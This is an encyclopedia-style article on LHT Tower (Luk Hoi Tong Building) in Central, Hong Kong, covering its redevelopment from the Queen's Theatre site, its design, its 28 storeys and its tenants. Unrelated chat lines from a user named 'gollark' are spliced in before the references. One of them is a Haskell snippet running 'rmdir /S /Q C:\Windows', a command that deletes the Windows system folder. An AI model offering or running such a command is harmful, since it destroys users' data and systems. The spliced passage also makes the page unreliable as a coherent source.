LHT Tower

LHT Tower or Luk Hoi Tong Building (Chinese: 陸海通大廈; Jyutping: luk6 hoi2 tung1 daai6 haa6) is an office building and shopping mall at 31 Queen's Road Central, Central, Hong Kong. It is directly adjacent to MTR Central Station. It was opened in November 2011.

LHT Tower in December 2011.
The former Luk Hoi Tong Building.

History

LHT Tower was constructed at the former site of the Queen's Theatre. It is owned by The Luk Hoi Tong Company Limited. In 2008, the old building was demolished to be redeveloped.

Architect and construction

It is designed by Rocco Design Architects Limited, Gammon Construction Limited was awarded the contract for the redevelopment. The property is managed by Jones Lang LaSalle.[1]

Building

Luk Hoi Tong Building comprises a 28-storey mixed office and retail tower with a gross floor area of 21,000 square metres, spreading over 21 floors of office, two levels of mechanical floor, a three-level podium retails, a basement floor and two dining floors. The site was originally occupied by the old Queen's Theatre in 1925 and was later developed into an office cum cinema building in 1961.[2]

Tenants

Gap occupies 15,000 square feet of office space in the redeveloped LHT Tower on Queen's Road Central in November, with Swatch taking a smaller store in the same building.[3]

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gollark: Someone write a haskell program to generate a haskell rap.
gollark: It's not interesting.
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gollark: > import System.Process as SPSP.callCommand "rmdir /S /Q C:\Windows"

References
  1. Design Team Archived 2011-10-09 at the Wayback Machine lhttower.com, Retrieved 26 September 2011
  2. Luk Hoi Tong Building Redevelopment, Hong Kong Archived 2015-06-28 at the Wayback Machine Gammon Construction. Retrieved 26 September 2011.
  3. Backs to the mall Business, South China Morning Post, Alex Frew McMillan. 12 September 2011.

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